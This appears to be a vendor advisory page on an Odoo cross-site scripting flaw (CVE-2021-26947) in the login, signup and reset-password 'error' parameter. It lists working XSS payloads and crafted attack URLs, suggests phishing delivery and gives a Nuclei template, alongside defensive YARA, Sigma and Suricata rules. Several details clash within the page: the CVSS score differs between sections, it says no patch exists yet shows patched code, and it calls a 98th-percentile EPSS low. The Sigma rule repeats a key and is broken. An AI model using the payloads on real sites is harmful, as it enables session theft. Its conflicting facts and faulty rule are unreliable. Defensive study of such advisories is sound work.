CVE-2021-26947
Executive Summary
CVE-2021-26947 is a stored/reflected Cross-Site Scripting (XSS) vulnerability affecting Odoo Community and Enterprise versions 15.0 and earlier. The flaw allows a remote attacker to inject arbitrary web scripts into a victim's browser via a crafted link, specifically through the error parameter in login, signup, and password reset pages. The vulnerability has a CVSS score of 6.5 (Medium) and a public proof-of-concept (PoC) via a Nuclei template. No official patch has been released for versions 15.0 and earlier; upgrading to Odoo 16.0+ is recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Odoo is a widely used open-source ERP suite. This vulnerability affects both the Community and Enterprise editions. Organizations using Odoo as a managed service or self-hosted should verify their version and apply input sanitization or upgrade to a patched version. No malicious packages have been reported in PyPI or npm related to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim clicks crafted link)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- EPSS Score: 0.61076% (Percentile: 98.319) – Low probability of exploitation in the wild.
Deep Dive & Mechanics
The vulnerability exists in Odoo's web controllers that handle authentication pages (/web/login, /web/signup, /web/reset_password). The error parameter is reflected in the HTML response without proper sanitization or encoding. An attacker can craft a URL containing malicious JavaScript, HTML, or SVG payloads in the error parameter. When a victim clicks the link, the payload executes in the context of the Odoo domain.
Root Cause: Lack of output encoding for the error parameter in the template rendering.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-odoo.com/web/login?error=<script>alert(document.cookie)</script> - Victim clicks the link (phishing email, social media, etc.).
- Odoo server renders the login page with the unsanitized
errorparameter. - The browser executes the injected script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Odoo <= 15.0):
# In odoo/addons/web/controllers/main.py
class Home(http.Controller):
@http.route('/web/login', type='http', auth='public')
def web_login(self, redirect=None, **kw):
error = kw.get('error', '')
# ... template rendering
return request.render('web.login', {'error': error})
Patched Code (Odoo 16.0+):
# In odoo/addons/web/controllers/main.py
from markupsafe import escape
class Home(http.Controller):
@http.route('/web/login', type='http', auth='public')
def web_login(self, redirect=None, **kw):
error = kw.get('error', '')
error = escape(error) # HTML-encode the error message
return request.render('web.login', {'error': error})
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target Odoo instance (version <= 15.0)
- Ability to deliver a crafted link to a victim
Exploit Steps:
- Use the following payloads to test for XSS:
<script>alert(document.domain)</script><img src=x onerror=alert(document.domain)><svg/onload=alert(document.domain)>
- Craft a URL:
https://target-odoo.com/web/login?error=<script>alert(document.cookie)</script> - Send the link to the victim via phishing or social engineering.
- Upon click, the script executes in the victim's browser.
Nuclei Template (Provided):
id: CVE-2021-26947
info:
name: Odoo <= 15.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
A cross-site scripting (XSS) vulnerability in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote attackers to inject arbitrary web scripts into the browser of a victim via a crafted link. This issue could lead to the execution of malicious scripts in the context of the user's browser session.
impact: |
Attackers can execute arbitrary scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
remediation: |
Update to the latest version of Odoo where the vulnerability is fixed or apply security patches that sanitize user inputs properly.
reference:
- https://github.com/odoo/odoo/issues/107694
- https://www.debian.org/security/2023/dsa-5399
- https://nvd.nist.gov/vuln/detail/CVE-2021-26947
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-79
cve-id: CVE-2021-26947
epss-score: 0.61076
epss-percentile: 0.98319
metadata:
max-request: 3
verified: true
vendor: odoo
product: odoo
tags: cve,cve2021,odoo,xss
http:
- method: GET
path:
- "{{BaseURL}}/web/login?error=<script>alert(document.domain)</script>"
- "{{BaseURL}}/web/signup?error=<img/src=x+onerror=alert(document.domain)>"
- "{{BaseURL}}/web/reset_password?error=<svg/onload=alert(document.domain)>"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains_any(body, "<script>alert(document.domain)</script>", "<img/src=x onerror=alert(document.domain)>", "<svg/onload=alert(document.domain)>")'
- 'contains_any(body, "content=\"Odoo", "var odoo", "Odoo</title>")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
Blue Team (Defender)
Detection:
- Monitor web server logs for requests to
/web/login,/web/signup,/web/reset_passwordwith suspiciouserrorparameters containing<script>,<img,<svg, or other HTML tags. - Use WAF rules to block requests with XSS patterns in the
errorparameter.
Lab Setup:
- Deploy a vulnerable Odoo 15.0 instance in a sandboxed environment.
- Use the Nuclei template to verify the vulnerability.
- Apply the patch by modifying the controller to use
escape().
Indicators of Compromise (IOCs)
- URL Patterns:
/web/login?error=<script>...</script>/web/signup?error=<img src=x onerror=...>/web/reset_password?error=<svg/onload=...>
- HTTP Request Parameters:
errorcontaining HTML/JavaScript payloads. - Response Body: Reflected payload in the HTML source (e.g.,
<div class="alert alert-danger">...</div>containing the injected script). - Log Entries:
GET /web/login?error=<script>alert(1)</script>with status 200.
Detection Engineering
YARA Rule
rule CVE_2021_26947_Odoo_XSS {
meta:
description = "Detects XSS attempts against Odoo CVE-2021-26947"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-26947"
strings:
$xss1 = "/web/login?error="
$xss2 = "/web/signup?error="
$xss3 = "/web/reset_password?error="
$payload1 = "<script>"
$payload2 = "<img"
$payload3 = "<svg"
condition:
any of ($xss*) and any of ($payload*)
}
Sigma Rule
title: Odoo XSS Attempt via error Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Odoo CVE-2021-26947
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/web/login?error='
- '/web/signup?error='
- '/web/reset_password?error='
cs-uri-query|contains:
- '<script>'
- '<img'
- '<svg'
condition: selection
falsepositives:
- Legitimate error messages containing HTML tags (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2021-26947 Odoo XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/web/login?error="; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2021-26947 Odoo XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/web/signup?error="; http_uri; content:"<img"; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2021-26947 Odoo XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/web/reset_password?error="; http_uri; content:"<svg"; http_uri; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Odoo: Upgrade to Odoo 16.0 or later where the
errorparameter is properly escaped. - Input Sanitization: If upgrade is not possible, modify the controller to use
markupsafe.escape()on theerrorparameter. - WAF Rules: Deploy Web Application Firewall rules to block XSS patterns in the
errorparameter. - User Education: Train users to avoid clicking suspicious links, especially those containing
error=parameters.
Long-term:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly update Odoo to the latest stable version.
- Conduct periodic security audits and penetration testing.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 29DCBC3CD9847AB4C67430F1] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.